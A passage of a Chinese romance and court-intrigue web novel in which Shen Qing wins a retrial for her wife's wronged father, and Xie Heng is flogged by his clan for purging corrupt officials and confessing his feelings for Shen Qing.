一个辛辛苦苦为爱妻一家搜集证据洗刷冤屈的人,还没来得及将证据呈上,就要被倒打一耙,被扣上凶手的黑锅。 这小爱卿此时该多么孤立无援,而其他人又多么用心险恶! 尤其是,刚才他也竟然听信了谗言,还险些让小爱卿进了刑部被审查,他顿时气血上涌:“朕意已决,岳闻渊一案,要重审。” 沈青眸底一亮,瞥了一眼身边彻底懵掉的陈文轩,心中说不出的痛快,正要谢恩,就看见百官中站在最前面的谢道清走了出来。 “陛下,旧案重审非同小可,岂能因为还未经核实的三言两句,说重审便重审?” 孝武帝悻悻道:“沈爱卿奏折上所言,朕都会去核实的,等核实完毕,朕再下令重审吧。” “陛下,查案是有司之职,案情是否有冤情,是否需要重审,应该经有司核实定夺。何况沈青并无实职,不知是以什么身份来搜罗这些案情证据,私下查案,恐怕有越俎代庖之嫌,还望陛下不要姑息。” 沈青肩膀垮下,她就知道事情不会这么顺利。 在这个朝堂上,真正能做主的并不是孝武帝。 果然,孝武帝方才一腔的怜爱和愤慨全部被抛到九霄云外去了:“丞相所言有理,是朕疏忽了。不过念在沈爱卿也是爱妻心切,私下查案倒也不算,毕竟也算家事,就不用太纠结了。反正今日宣沈爱卿来,也是为了查探她跟陈郡侯之死有没有关联,现在事情明了,关于残杀陈郡侯的真凶,确实另有其人。” 沈青默不作声垂眸听着,其实她跟陈文轩,或者跟谢家,现在已经算是心照不宣,今日将岳瑛家案子捅出来,他日谁也不会善罢甘休。 她现在纠结的是,现在既已摘除了自己的杀人嫌疑,要暂时退让先避锋芒,他日再徐徐图之;还是应该在此刻不依不饶,非要求得一个案件重审的机会呢? 晋王给她在朝堂上安排了几个死谏之士,只要她一道暗示,他们便会站出来声援逼谏,一日不成就来日再谏,直到所有人血溅朝堂。 这样激烈决绝的逼谏,无论是陛下还是世家,都是要名声的,即便不妥协,也会重创到他们。 她脑海中正紧张地天人交战着,忽然一道清凌熟悉的声音传到耳畔。 “陛下,臣有事要奏。” 她眼看着不远处那道修长清越的身影站了出来,虽然他背对着她,她喉头还是忍不住紧了一下,她发现了,在朝堂之上,她最怕听到的还是谢珩的声音。 上一次,也是在这乾元正殿,也是他站的那个位置,他突然反水,在她据理力争的时候,他站在她的对立面,和别人一起指摘她。 现在回想起来,那种被突然背叛后孤立无援的经历,是很难受的。 这次不知道他又要语出惊人些什么,尤其是现在还有个大把柄在他手上。 沈青一双黑白分明的眼睛又忍不住滴溜溜转了转,情况不对,应该从哪里杀出去会比较有胜算? “陛下,方才依丞相所言,查案是有司之职。臣身为大理寺卿,这几日在查办陈令知一案时,为了排查他的人际往来,也查到了沈大人提出的这桩旧案,沈大人所说情况,与臣所查到的事实基本吻合,经过臣的整理核实,确定冤情,臣现在以大理寺卿的身份向陛下请旨,重审岳闻渊一案。” 沈青霍然抬眸,看见那到笔挺清越的背影撩衣跪了下来。 很快,门外陆续进来几个内侍,将各种关于谢珩整理的案情卷宗呈了上来。 谢道清都有几分错愕,喊出谢珩的表字:“瑾之,你……” “叔父,这是有司之职,我可没有越俎代庖?” 谢珩语调风轻云淡,像沉闷的乾元宝殿上,有一丝春风从窗外吹进。 沈青迅速反应过来,双手藏在袖中,露出的指尖随意绕了两下,马上有人跪出来附和。 “陛下,既然证据确凿,此案理应重审!” “陛下,岳闻渊在任多年,向来勤勉,不可使忠臣良士含冤于九泉之下啊!” “陛下,臣也附议!” “……” * 走出乾元大殿,阳光已经铺洒在汉白玉的台阶上,金灿灿一层,明耀亮眼。 不知洛京在濛濛烟雨里被笼罩了多少日,黛瓦高檐之上,很久没有过朗朗晴空了。 春日的晴空很是爽朗。 沈青脚下步伐很轻快,轻快起来,便与她那一身正紫威严的官服极为不合,一双厚底官靴也被她走得跳脱,不管她在哪里,她骨子里永远都是莽山上的一颗翠竹。 谢珩不远不近跟其他下朝的官员走在后面,看着前面走得飞快的背影,眸光里清清淡淡,没什么情绪。 很快,那道跳脱的身影就出了宫门。 她这些天来一直没有揣摩出谢珩的心思,直到今日他突然来这么一下,她隐隐约约还是分不清,他到底想做什么呢? 可是她都已经揣摩了好多天,此时此刻,先高兴了再说。 不过他最后的目的是什么,至少现在做的事情,是站在她这边的。 这么一想,什么也不想揣测了,就很高兴。 刚出宫门,远远地看到台阶下,有一道年轻挺拔的身影立在那儿等她,他的身边还有一道倩影,杏色裙角在阳光下轻轻摇曳。 她抬手挡住阳光仔细辨认了一下,是岳瑛! 岳瑛竟然出门了! 而且还走了这么远,到宫门口来了! 其实两人很久都没有面对面说过话,上次说话还是沈青痛骂了她一顿,可是见到岳瑛衣裙明媚地站在光影里,沈青心中所有雾霭一扫而空,她三两步跨下台阶,迫不及待冲过去:“陛下刚刚下旨了,要重审你父亲的案子!” “阿青,我多谢你!” 岳瑛那双眼睛不知何时起重新恢复了神色,一说话,漂亮的眼睛里泪水汪汪,微垫起脚尖,揽住沈青,下巴轻轻搁在沈青的肩头。 沈青也张开双臂回抱她。 萧瑞瞬间脸热了:“大哥,这是在宫门口呢。” “噢……” 两人松开对方,沈青上下打量着眼前人,终于不再是一颗枯木,虽然还有些苍白憔悴,可是人有了活气,是她喜欢的明丽模样了。 本来有很多话要跟她说,但是一想到两人好几天都没碰面不说话,不知道为什么,忍不住“噗嗤”一声笑了出来。 岳瑛本来也想跟她说点什么,见她笑得 这样,肯定是不再生气了,不由得也跟着轻笑。 阳光温温柔柔打在两人身上,暖暖清风拂过两人的衣摆发梢,大庭广众之下,实在太不庄重而轻佻了,可是这样一双璧人,实在赏心悦目,让人说不出什么不堪的话来。 有人小声议论,难怪沈青在朝堂上这般奋不顾身,原来与夫人这样恩爱。 不知为何,萧瑞虽觉得眼前画面很美好,可是又有些灼人,不忍多看,目光躲开望向别处,忽然抬手拍了拍沈青:“大哥,你看。” 沈青回过头去,看到谢珩立在台阶上,身后不远处是刚刚走出来的陈文轩。 谢珩的目光落在她身上,不再有那种极富侵略性的锐意,有种她也说不清的别样深沉,没有危险,沉甸甸落在她身上,还是让她不自在。 她扯着唇角冲他笑笑,谢他愿意重审此案,谢珩只是立在那里,明明是在看她,却没有回应她的笑意。 她只好悻悻撇开目光,看到他身后的陈文轩也走上前来,果然,她明显感受到岳瑛正拽着她胳膊的那只手微微僵住。 她挑衅地朝陈文轩挑挑眉,看到他气得脸白,心满意足拉着岳瑛,不许他多看一眼:“走,别管他!” 岳瑛与陈文轩视线交汇一瞬,电光火石,很快错开。 萧瑞最后冷眼看了陈文轩一眼,少年锐气,势不可当的一击,再转身跟上兄嫂。 直到台阶下三人都走远了,陈文轩终于回过神,世上竟然真有这样大度的男人?真有男人不会嫌弃自己妻子中间移情别爱还情深不渝吗? 可是刚才两人恩爱无双的模样,确实胜过世间万千貌合神离的夫妻,这作不得假。 他有些迷茫地跨下台阶,发现不远处玉树仙姿的公子,还挺拔如松,直直站在阶前。 他顺着谢珩看不出什么情绪的目光望去,阶下空空如也,也不知道他在看什么。 谢珩也不知道自己在看什么。 刚才阶下被春风暖阳都眷顾的一双人影,彻底映在脑海中挥之不去。 他竟不知道,沈青为了岳瑛,背后做了这么多。 当堂手刃仇人便罢,姑且算他冲动行事;可是翻出旧案,一点一点抽丝剥茧查出真相,于沈青而言,是多繁琐的考验。 “嗯……喜欢一个人,就要成全她。” 很久以前,有个人这么一本正经跟他说。 所以他能为岳瑛成全到这样的地步。 可是那人没告诉过他,成全二字,要经历这样无声无息的钻心刺骨。 第65章 第65章她的心底好像也冰消雪融…… 谢珩行事雷厉风行的程度令人咋然。 孝武帝几乎是在谢珩和一众朝臣的逼谏下,顺势当朝就下了重审岳闻渊一案的圣旨,连半点缓冲都没有。 让所有人都措手不及,根本来不及有任何在中间周转缓和的余地。 这案子像是早在他手中结过千百遍,从下旨到重查、重审、重判,一道道复杂繁琐的步骤,原本最冗长的过程,在谢珩手中流畅如玉珠滚过清荷圆叶。 沈青估摸着,如果三个月内能结案,那已经是最好的情况。 阴雨连绵的天气好像结束了很久,洛京城里确实有好些日子没有下过雨,每天都是朗朗艳阳,从堂中吹过的清风,一天比一天带上暖意。 等身上内襦夹衣都褪去,只需要穿一件轻薄单衣的时候,案子已经结了。 岳闻渊一生清正贤明,两袖清风,终于在被冤横死后第三年,得到了一封沉冤昭雪的圣旨。 而他到死都将其视为世交好友的陈令知,也躺在一方棺木中,无声地见证着自己爵位被褫夺,家族中直系男丁被斩首,旁系流放,女子则充为官奴。 最后他的尸身被挪出沉沉松木打造的棺椁,由一卷草席裹着,随意葬掉了。 也算是百年贵胄之家,一朝覆灭,离当日沈青被宣上朝对峙的日子,不过二十天。 唯一的意外,就是陈令知膝下嫡子陈文轩竟然逃脱了追捕,整个洛京翻来覆去严密搜寻,也不见其踪影,大概是离京而去了,天高地阔,茫茫人海,再归案也不知是什么时候了。 不过这已经算是很好的结果。 在沈青看来,只要岳瑛不太执着于陈文轩那一条命,那就是尘埃落定,心结已解。 原本以为事情基本到此了结,紧张压抑了太久的洛京城终于松了一口气,谢珩手起刀落,就着岳闻渊这个案子,给户部来了一场猝不及防的门户清理。 岳闻渊既然是在户部任职期间被人构陷贪污,除了背后的陈令知,户部内里的勾连肯定也少不了。 就这样,连带着萝卜拔出泥,户部从里到外几乎被重新清理,原先在户部的要职高位十之八九都是来自各世家高门,这次谢珩下手太快太狠,不留余地,让人来不及还手招架。 但凡为官生涯中背负过有违法度之事,无论大小,都被清算干净,贬官的贬官,流放的流放,斩首的斩首。 一时间,还没从陈郡侯之死中彻底缓过神来的洛京城,再次陷入一片震愕和惶恐之中。 如果说陈郡侯府是因为深重罪孽被翻到明面上而再无法粉饰,不得不覆灭,而这次清算,对于其他世家大族来说,就是一次蓄意的打压。 竟然敢有人对世家开刀下手,而这人还是世家中向来令他们引以为傲的翩翩人物。 洛京中所有世家大族同气连枝,牵一发而动全身,他们紧密联合防范排挤了所有寒门和普通氏族,从未想过,有一天公正的刑刀,是从内部砍出来。 这一刀,一个泱泱户部,还是让不少世家伤了些元气。 有人被清理,自然就有人要补缺,户部重新任命调动了一大批官员,果然擢升上来一批毫无根基背景的寒门或普通氏族。 譬如左思禄和沈哲,就连升三品,各自成为户部和礼部的员外郎。 如果谢珩是要刻意扶持寒门而打压世家的话,他重新任命的这些人员中,依然也不乏高门贵胄。 同样都是士族子弟,只要身居要位的是家族中人,张三张四张五并不重要,洛京高门中大多不能理解谢珩为何如此费尽周折把“张三”换成了“张五”,这不还是一样的吗? 别人有没有看出来不知道,沈青倒是瞧出一些端倪。 这一批重新被洗牌上任的人,无论寒门还是高门,都有一个相通的地方,便是清正贤明。 选贤举能,无关门第。 谢珩生于洛京最深厚贵重的谢氏高门,言行举止,所见所思,都根植于世家繁渥土壤中,此番行事,他的目光已经跳脱出世家困囿之外,不知中间是多少次与自我的重重相克相杀。 沈青如是想。 至少当初在渝州与她对峙的那个谢珩,不会手起刀落做出这样的举动。 这些天,她总是会想到来洛京后,与谢珩渐渐疏远中又一次次的争执。 自回洛京,谢珩很自觉地站在了他身处的世家那方,与她遥遥相对,她知道那是他的出身,是他人生所有一切的根基,虽然生气,但没有真正怪过他。 小金顶上温柔乖觉的谢十三不在了,甚至渝州刺史谢珩……那一身清正傲骨也被磨灭了,她在心里已经接受他们本就不是同路人,所以她很早就在与他各归各路,也许有一天还会兵戎相见,她也做好了准备。 只是她没想到,岳瑛家的案子,她和他发生了那样大的争执,他一定要硬着一颗心没让她察觉到任何端倪,暗中一直在筹谋,直到最后让所有人都猝不及防的雷霆一击。 从小金顶下来后,其实她一颗心还一直在被冰雪封存着,现在春风暖融,她心底好像也冰消雪融了起来。 此时此刻,他的处境,应该不太好吧? * 谢珩此时的处境确实不太好,谢家赫赫森严的祖祠,已经很久没有这样在夜里四门大开,烛火莹亮 的时候了。 祠堂内处处烛台,将供台前一整面黑森森的牌匾鲜明字迹都照得透亮,众位祖宗先辈,正无声地坐在供台前,威严肃穆注视着祠堂里的一切。 祠堂门户大开,里外有谢家亲兵披甲带刀,每人手中提了一盏八角灯,照得四处明亮肃然。 族中德高望重的长辈们,几乎都到场,还有不少年轻而权重的小辈,也按次序依次在下首站好。 一方庭院,里里外外乌泱泱站满了人,却连一点细微的呼吸声都没有,每个人都紧张肃目,盯着祠堂最中间的位置。 白衣清越的公子,脊背笔挺如松,正跪在满面森然的牌位前。 黑袍深蟒的中年男子,立在众多牌位前,闭目告罪:“不肖子孙谢道清,罪孽深重,日夜惶恐,深夜扰乱祖宗先人安宁,实在是族中出了大不敬不孝之事,不得不开堂请罪,望祖宗勿怪!” 说完,他屈膝跪下来,朝着一众牌位,重重叩了三个响头,再站起身来回转面向众人,清隽眉目在烛光照应下,并不见几分惶恐,只有不怒自威的压迫。 “不孝子孙谢珩,祖宗先人面前,你可认罪?” 他语调轻缓,是上位者多年的从容不迫,跪在地上的谢珩并未抬眸,只清冷应下:“请叔父指教。” “身为谢氏子弟,却对自己族中兄弟长辈施以重刑,折损谢氏族人,你是否认罪?” 谢珩想到这次对户部的清理中,确实有好几个谢氏族人,不过他们都是些鱼肉百姓的人物,本就罪有应得。 他抿了抿唇:“我认。” “残害族人,当如何处置?” 不用旁人开口,谢珩自己先对答如流:“轻则笞刑五十,重则笞刑一百。” 那几个谢氏族人还只是被贬官,未伤及性命,便是五十笞刑。 谢道清冷冷地看着他:“明知故犯。” “来人,上刑。” 上刑的是两位族中长辈,俱是一派严正模样,两人手中粗厚的荆条,几乎比祠堂前铁栅栏还要大,上面一根根荆刺如钢针一般覆在荆条上,看得人背脊直发凉。 “不必留情,族中子弟引以为戒。”谢道清最后开口吩咐一句。 说实话,那两位长辈威严正气,实在也不是手下留情之辈,等谢道清话音落下,一左一右举着荆条,一下一下往那张清瘦背影上砸去。 荆条入肉的声音在空静的祠堂里格外清晰,不染纤尘的白衣,不过累累几下的功夫,就侵染出鲜红夺目的血色。 又过了数十声,若是隔得近一些的,可以看到荆条上的荆刺扎破衣裳嵌进血肉之中后,又被生生拔出,再狠狠打下去钉进肉中,再用力拔出,好些荆刺在这个过程中折断,嵌进身体里直接断掉,便没有再拔出。 背上的白衣再也看不出原来的颜色,破败淋漓,透满鲜血,有年轻一些还没见过这样场面的族人,微微撇过头去,不忍多看一眼。 谢珩腰背微微躬下,但还是尽量保持笔挺,他紧抿着双唇,玉容上看不到一点血色,始终微垂的眸子,看得到月白地砖上,血汗淋漓,混成一片。 耳畔的荆条敲打的声音终于停下,五十笞刑结束了,谢珩清越的身姿,还稳稳跪在那里。 人群里,终于听到有人如释重负的吸气声。 但是谢道清并没有给谢珩缓冲的余地,他冷冷盯着跪在面前的人:“身为谢氏嫡传,肩负谢氏兴荣和传承,却染上断袖之风,毁坏谢氏名声,中断谢家血脉,辜负尊长教诲,你可认罪?” 祠堂中再次恢复死寂,连照耀牌位的烛台火光,都不敢肆意跳跃。 谢珩沉默了一会儿,微垂的眸子看不出情绪。 只听得到他声音里透着苍白的虚弱。 “我认罪。” 第66章 第66章心悦于沈青,是他唯一认…… 轻如飘絮的三个字,落入在场每个人的耳中,犹如一道惊雷,由远及近,缓缓在耳边炸开。 烛台俶然明光一闪,映得一张黑沉牌位上金漆正楷的字迹格外清晰。 这可是谢珩啊。 怎么会跟“断袖”二字扯上关系? 虽然洛京断袖之风盛行,谢家子弟中也不乏有沾染的人,但唯独谢珩不可以。 清正自持,端方雅正,是谢家最负盛名的后起之秀,是风华绝代的洛京第一翩翩公子。 整个谢氏将来的荣辱兴衰,都寄于他一身。 他怎么能亲口承认自己是断袖呢? 明明是春风暖融的夜晚,谢氏祠堂内外犹如冻上三尺寒冰,谢道清立在阶上,盯着鲜血淋漓跪在下首的侄儿,抿唇许久,未发一言。 早在上一次请了沈青来谢家旧宅,他就从谢珩半盏茶赶来的急切中看出了这一点心思。 但是他没有想到这人竟会疯魔至此,为了沈青,瞒天过海隐忍不发地查清了岳闻渊的案子,还如此雷霆凌厉,对谢氏和其他世家打压清理,手起刀落,毫不留情。 户部,已经不在世家掌控之内了。 关于谢珩所做这一切,他还只是揣测,可是他现在当着列祖列宗的面,坦然承认了,所有的揣测都变成了定论。 谢道清面上带了一点冷意的嘲讽,但还是保持着一个长辈的语重心长,提醒道:“瑾之,沈青可是有妇之夫。” 谢珩心底苦笑一声,撑着摇摇欲坠的身子:“叔父,动刑吧。” 谢道清顿了一下,以为他知悔悟,点了点头,抬手示意两位长辈继续动刑:“知错能改,善莫大焉,亦不失君子风范。” 荆条一下一下钉入血肉的声音再次响起,谢道清转过身去,微微仰头看向供台前整齐排列的森然牌位。 百余年来,各大世家盘根错杂共同筑起的一道千里长堤,绝不能溃垮在长于自身的蚁穴上。 这次是尤为漫长的一百笞。 漫长到橫卧在高阔屋脊上的一轮弯月慢慢爬到了庭院中天;满院立着的谢氏门人脸色都渐渐发白;两位施刑的长辈有些力竭,挥动荆条的手臂越来越慢;谢道清仔仔细细将供台上所有牌位先人的名字都依次看了很多遍。 谢珩的那一身白衣早就染得鲜红破败,身上到处都是血肉模糊一片,他原本挺直的腰背一点一点佝偻下去,只靠着两手撑在自己膝上,强撑着不让这副身子倒了下去。 直到那一下一下用刑的声音彻底结束,牌位前的烛台燃得只剩半盏,庭中只听得见偶尔的寂寂风过的声音。 谢道清终于转过头去,盯着那个几乎从血水里捞出来却还顽强跪立不倒的身姿,缓声开口:“陈郡侯跟户部的事情,这次我就到此为止了,族中子弟务必以此为戒,不可有人蹈此覆辙。再有下次,绝不轻饶。” 陈郡侯府覆灭也就罢了,户部他自有办法重新掌控回世家手中。 他声音沉缓,听 着在场所有谢氏子弟都心中凛凛。 “叔父。” 还跪在地上的谢珩突然出声,一开口,先呕出一口的血。 他抬手随意擦拭两下:“叔父对我用此重刑,真的只是因为沈青,还是因为我的秉公断案?” 原本清润的声音喑哑得厉害,但缓缓抬起的那双眸子里,一片锐意清明。 谢道清神色淡淡:“你方才因为什么认罪,我就是因为什么对你用刑。” 谢珩唇角虚虚勾了勾:“没有沈青,这案子落在我手上,我也会一查到底,户部那些尸位素餐鱼肉百姓的官吏,我一个都不会放过。没有沈青,我做这些,叔父就没有罚我吗?” 他最开始受的那五十笞,可是因为整治了几个作恶多端的户部官员,恰好他们都姓谢罢了。 谢道清冷声应道:“没有所谓的假设,你现在所做的一切,不都是因为沈青而起吗?” “况且,你身上流淌的是谢氏血脉,你所受教诲是谢家家学,凡是都该以家族利益兴衰为第一。” 谢珩撑着自己这具血肉模糊的身体,艰难想了想,是因为她,也不算是因为她。 如果没有沈青从渝州到洛京一路指引他看到了很多他不曾见过的场面,他或许很难跳出从世家子弟的眼光来看待事情。 是她揭开了一直蒙在自己眼前雾里看花的面纱。 可是为冤者昭雪,为百姓谋福,本该就是君子所为,九死不悔。 他只觉得内心的撕扯,比身体上遭受的酷刑还要痛苦百倍,他轻轻摇了摇头,下了定论:“我真是不明白,谢家何时与公正二字,站到了对立面。” 他只是谨遵家门清正的教导,为君子之所为,却要被施以家法,不允许他继续做下去。 到底是谁违背了家规门风? 他惨然一笑:“叔父,列祖列宗在上,以他们来看,到底谁才是不肖子孙?” “你!” 谢道清终于变了脸色,他目光扫过祠堂里一众谢氏门人,有些人面上隐隐也呈现出动摇之色,最后他看向正跪在他面前的年轻人,这么一会儿说话的功夫,他的腰背渐渐挺直了些,一张玉容虚弱苍白得瘆人,只有一双清眸里,不减孤傲不屑。 他知道这对话不能再进行下去。 “谢瑾之,我知道你有舌战群儒的本事,可是你刚刚亲口承认断袖一事不假。在列祖列宗面前,单单这一点,你就罪不可赦!他日九泉之下,看你以何面目去与先祖们相见,又以何面目去与你祖父和父亲相见!” 说到最后,向来处事淡然的一朝丞相,都险些收不住自己的气焰。 谢珩微微扬起下巴,清润如水的目光看过眼前一尊尊森然林立的牌位。 心悦于沈青,是他唯一认下的罪。 所以,他会竭尽所能而为此赎罪。 户部,只是一个开始罢了。 月光静静照亮庭院,微微凌乱发髻掩映下的憔悴玉容,向来萧瑟温润的神情里,隐约带上一丝桀骜匪气。 原来他竟毫无悔改之意,谢道清重新沉下气来:“即日起,你每日到祠堂罚跪两个时辰,直到彻底悔过为止。” “关祠堂,都回吧。” 年轻人气血方刚,情窦初开的时候最冲动上心,是会犟得厉害。 不过是襄王有意神女无心而已,多蹉跎消磨一下,就会被磨灭的。 谢家族人和亲兵悄无声息一一退出祠堂,灯火逐次熄灭,四门关合,方才还明光大亮子弟满堂的祖祠,在清幽月光照应下,变成一只静静潜伏在深夜里随时会将人吞噬的巨兽。 鸣山赶到公子面前的时候,已经泣不成声。 公子孤影清瘦,一个人跪在黑黢黢的堂前,像一只摇曳空中随时会断掉的纸鸢。 他哭着上前,想去扶一把公子,可是公子身上无一处不是血肉模糊,他不知该从何处着手。 “公子……您这是何苦啊?” 公子与二爷的对话,他守在外头都听得分明,其实他早就隐隐察觉出公子对沈青的一点微妙情愫,他以为公子这般理智清醒的人,会轻而易举扼制住自己,不然也不会去与王家表姑娘相看。 公子却跪在祠堂里亲口承认了。 以公子之风华,这天下他想要怎样的女子不可得?偏偏染上断袖之癖,断袖也就罢了,为何是沈青那悍匪无赖? 沈青家中已有妻室也罢,在外也成日流连于秦楼楚馆寻花问柳,这样一个百无是处的人物,公子一腔至情至爱,怎么会倾覆在这样的人身上? 还要为了沈青那夫人,呕心沥血,废寝忘食,不惜开罪洛京各大世家,而遭此劫难。 这不就是空中一轮皎皎明月,被人生生拽如泥淖之中无法自拔吗?念及此,鸣山再次泪如雨下。 谢珩苍白的唇动了动,再没力气说话,他轻轻搭起一只手臂,示意鸣山来扶,鸣山连忙伸出手来去扶,却实在不敢碰到自家公子,生怕触到了哪处伤口。 谢珩无视他的停顿,直接将手臂搭上去,借着鸣山的力把自己撑了起来。 “公子,您慢些。” “没事,你撑着我,不疼。” 其实不是不疼,是他已经完全感受不到一丝痛意,就像此时他双脚明明撑在地上,自己却一点感觉也没有,软绵绵的,像踩在空中。 “好,公子,您忍着些,我撑着您走。” 鸣山用袖子抹了一把眼泪,狠狠心将公子一只手臂搭在肩头,撑着他一步一步迈出祠堂大门。 那只静夜中吞人的巨兽被主仆二人抛在身后,只有月白地砖上,一滩鲜红刺目的血迹向四处淌开,颜色渐渐殷红晦暗,与地砖缝隙里凝结成一块,触目惊心。 * 连日阴雨的时候不觉春深,暖阳一照,庭院里沿阶的花木葱茏竞放,推门走出,城里城外,早就被点染得春意蓬勃。 远看春山,风动,吹动一山春花。 郁郁春山下,多了一处新坟,五彩斑斓的经幡随风乱舞,素白纸钱打着旋儿飘向远方。 坟前立了一双人影,水红裙摆明丽张扬,飒飒青衣笔挺潇洒。 岳瑛给父母家人立了一座衣冠冢。 当年沈青刚刚接手莽山,初出茅庐救下岳瑛折损了十几个兄弟,自然无暇顾及到她的父母尸身。 时过境迁,如今岳瑛家人沉冤昭雪,大仇得报,声名保全,也算是入土为安,让生人遥寄哀思。 唯一的遗憾,可能就是让陈文轩给跑了,这一命没有血债血偿。 等岳瑛洒完手中最后一捧纸钱,又蹲在坟前跟家人说了会儿话,日头渐渐西斜,炽艳温柔的夕阳镀了一层金边,缓缓落在青山脊背上。 两人沿着来时山路慢慢往回走。 “其实我现在能理解了,当时你瞒着我,非要去陈令知府上和人同归于尽,归根结底就是不相信我能替你父亲沉冤昭雪。不过这下你该相信,我要办的事,肯定是可以办到的。” 从坟前离开一路走下来,一切都让人感觉还有些不真实,回想起当时惊心动魄的一劫,沈青不由得感慨。 岳瑛一张白皙清丽的容颜渐渐养了回来,春光里的少女明媚实在养眼。 说起当时自己被仇恨蒙蔽险些连累沈府上下,千言万语,岳瑛只能说一声:“阿青,我多谢你。” 沈青忙摆摆手:“这话你都说了快几百遍了,你再说,我以后也再也不敢提任何关于你父亲的话了。” 岳瑛噤声,默然在她身边走了会,忽然轻声道:“这案子也多亏了珩公子,如果没有他,不知中间还要经历多少波折,也不会这么快结案。阿青,你们之前是不是因为我家的案子吵架了?” 沈青背上忽然一僵,含糊道:“当时他说得那么模棱两可的,我又不知道他要做什么。再说了,秉公断案本来就是大理寺卿的职责。” 她应了两声后撇开话题:“现在洛京中关于你的流言很多,我知道你听了很难受,但是我现在很需要你,很需要你在京中为我奔走周旋,不知道你愿不愿意?” 这些天来,沈青没有直说,岳瑛也能隐隐感觉到她在背后谋划一些事情,虽然她也不知道具体是什么,但是在洛京中生活多年,她能敏锐的感受到,沈青应该是开始着手朝中事务了。 到底参与了什么,想要参与到什么程度,她一概不知,既然沈青说需要她,她也义不容辞:“赴汤蹈火,在所不惜。” 沈青盯着她那张秀雅斯文的面容忍不住发笑:“ 完了,你现在说话越来越不像是闺中小姐了。” 岳瑛也笑:“可不是也在匪寨做了好几年大夫人呢?” 说到莽山,两人心中都不由得有些怅然,满目春山,都不及小金顶上所见群山连绵,万峰壑立。 “你记不记得,当时我接受招安的时候,我们小金顶上不是还有好几百的姐妹吗?她们都要跟我进京,我已经入京几个月了,现在尘埃落定,给她们在洛京的女户都办好了,现在已经有人护送着她们上路来京了。” 说起莽山,沈青顺势将这件事跟岳瑛说了:“她们来京以后,肯定会有诸多不便,但我现在的身份也不适合私下与她们直接往来,但是她们认你,以后她们在京中事宜,就交给你了。” 这些女子来京后,或想办法自己谋生,或安心嫁人,但毕竟曾经是匪身,以女子身份落草再从良,不知要遭受多少偏见和鄙夷。 岳瑛本就和她们同为沦落之人,也明白沈青的意思:“你放心,我会尽量看护她们。” 待沈青进京了几个月,这几百女匪才启程入京,一方面是等沈青入京后先稳定下来没生事端才敢往后推进,一方面也是因为女户实在难立。 在大渝,讲究的是女大当嫁,从父从夫,想要自立门户,除非极特殊的情况才能破例。 几百女匪的安身立命,要在几个月内办妥,实属不是一件容易的事。 岳瑛又提醒她:“这事还是珩公子费了不少心力,不然那些姐妹多半就只能留在渝州,又无处可去了。” 沈青挠了挠头:“这本来就是我同意招安的条件之一,他办妥是应该的。” 两人很快下了山,坐上回府的马车。 马车进了城,晃晃悠悠出现在主街上,沈青聊赖中掀开一点车帘,看见街巷里一道月洞门很是眼熟。 恍然想起,她曾经和谢珩在那院子里喝过酒。 她忙放下了帘幕。 岳瑛的声音不依不饶缠绕耳边:“听说前几天珩公子受了家法,在祠堂几乎要被打死,现在拖着半条命,每天还要在祠堂跪上两个时辰。好像是在查我家案子的时候,伤了几个谢家的子弟。” 沈青垂下眸子,长睫掩盖住眸中情绪:“那也是他们谢家自己的事情吧。” 这事她倒是派手下打探过,不过从那日在场的谢家子弟口中打探不出太有效的消息,伤了几个谢氏门人可能只是借口,归根结底还是谢珩这次是真正触到了世家的底线。 岳瑛一边打量她一边很惆怅:“如果因为我家的案子让珩公子遭这样大罪,阿青,可能这辈子我都坐立难安了。” 沈青重重叹了口气:“不要什么责任都往自己身上揽。到了,我们下车吧。” 岳瑛愕然,掀开车帘,果然真到了沈府门口。 沈青先跳下马车,转身扶了她下车,日头早就没入屋檐之下,家家户户点上华灯。 沈府门口两只澄亮的纸灯笼在檐下微微摇曳。 岳瑛提了裙摆跨上台阶,却没见身后的人跟上来,她回身望去,沈青还立在阶下。 “阿青?” “诶呀,”沈青一脸笑意天真:“我想起有个东西落下了,我回头找找,你先进去吧!” 第67章 第67章你以后想做什么,我都任…… 夜色笼罩下的洛京城,路边的小贩大多收了摊,沿街的店铺倒是家家都还撑着门面,放眼望去,长街一路华灯。 车马人声熙熙攘攘,比不上白天的热闹。 一位俊秀清逸的年轻小公子哒哒跑过,一身青影灵动左右避开行人,等行人反应过来,鬓边发梢因这小公子跑过而掠起一阵风微微扬起。 真不知道,他差点被打死,该被打成什么样了呢?每次跟她吵架对峙的时候那么强硬,简直能气死人,怎么就跪在那里给人活活打死都不反抗的吗? 沿街的琳琅店铺和匆匆行人从余光里飞速掠过,过往的一幕幕画面亦如流光回转不断浮现在眼前。 岳瑛落水被救回来后,她对谢珩冷言相向,逼他识趣离开。 宫门前,她绝然告诉他,两人以后桥归桥,路归路。 南风楼里,当着所有人的面出言羞辱,说他连一个小倌都比不上。 陈郡侯府,她和他在红墙青瓦的短巷里大打出手。 可是他真的一个人暗中运筹,以雷霆手段为岳瑛家彻底翻案昭雪;他也瞒天过海,有违官责,替她遮掩下在陈郡侯府犯下的滔天大罪。 她听说他因此在祠堂里受了家法的那一刻,当即便要去看看他受了怎样的大罪。 可是她想到了,他与王家的意然姑娘好事将近,那样两套价值连城的头面毫不眨眼就买下来,总该是有王姑娘在他身边嘘寒问暖,有红袖佳人相伴左右,再大的苦,能有多苦呢? 时时按捺着,这几日竟过得有些漫长。 岳瑛在她耳边念叨的时候,她浑然没打算要怎么样,她也没有想明白,到了沈府门口,明明是要迈上台阶回府的,现在这么满街乱跑是怎么回事? 绕过街角,一双黑靴踩在青砖上,只朝着一个方向越跑越快。 夜里徐徐吹起的春风,夹杂着花香草味,微微掠起她鬓边一点碎发,似乎也在催促她要快一些。 为什么要因为顾虑王姑娘,而不去看一眼谢珩呢? 她现在是一个大男人,有什么关系呢?稀里糊涂的,把两回事,混为一谈了。 有一个朋友,他帮了忙,因此还受了罚,于情于理,就是该去看一眼的。 也就是去看一眼。 根本就没什么的。 昏寂的夜色下,一轮弯弯明月铺洒了屋脊和檐角,青影兔起鹘落,稳稳停在落月倾照的屋脊上。 皎洁月光映照屋脊上那道颀秀玲珑的身形,夜风轻轻,衣摆微扬,不知何处夜奔而来的轻狂之士,睥睨着脚下那一方要将人吞噬的森森祠堂。 祠堂里静谧冷肃,偌大的祠堂,只有满堂牌位前,寂寂留了两盏青灯,暗自明灭。 清越如仙的白衣公子挺身跪在一众牌位前,眉目冷寂,也难掩倾绝容光,冲淡了几许祠堂里的诡气森然。 “谢珩。” 眼前落下一道飒飒青影,挡在了满目牌位的前面,谢珩看清来人后,憧怔了一瞬,也并不算太意外,她能来去自如的进来,守在祠堂内外的亲兵暗卫应该无一幸免被放倒了。 “你来了。” 